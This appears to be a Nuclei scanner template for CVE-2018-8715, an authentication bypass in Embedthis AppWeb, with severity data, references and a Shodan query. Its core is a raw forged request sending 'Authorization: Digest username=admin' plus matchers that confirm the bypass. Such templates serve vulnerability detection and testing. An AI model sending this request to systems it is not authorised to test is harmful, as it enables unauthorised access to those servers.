50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2018-8715
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info:
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name: AppWeb - Authentication Bypass
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author: milo2012
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severity: high
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description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
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remediation: |
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Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
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reference:
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- https://github.com/embedthis/appweb/issues/610
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- https://blogs.securiteam.com/index.php/archives/3676
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- https://security.paloaltonetworks.com/CVE-2018-8715
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- https://nvd.nist.gov/vuln/detail/CVE-2018-8715
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- https://github.com/cyberharsh/appweb
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2018-8715
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cwe-id: CWE-287
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epss-score: 0.00927
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epss-percentile: 0.8261
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cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: embedthis
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product: appweb
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shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
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tags: cve,cve2018,appweb,auth-bypass,embedthis
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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Authorization: Digest username=admin
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<a class="logo" href="https://embedthis.com/"> </a>'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100bd663b7b04de0ea4a75d80e8408f1c23c06cd76abfcc8ee02a4a88cbb5fbc1bb02210087cb7563d692efc05acb93bf5ba46ba22a41a4493c29430d79e08c9dce089128:922c64590222798bb761d5b6d8e72950 |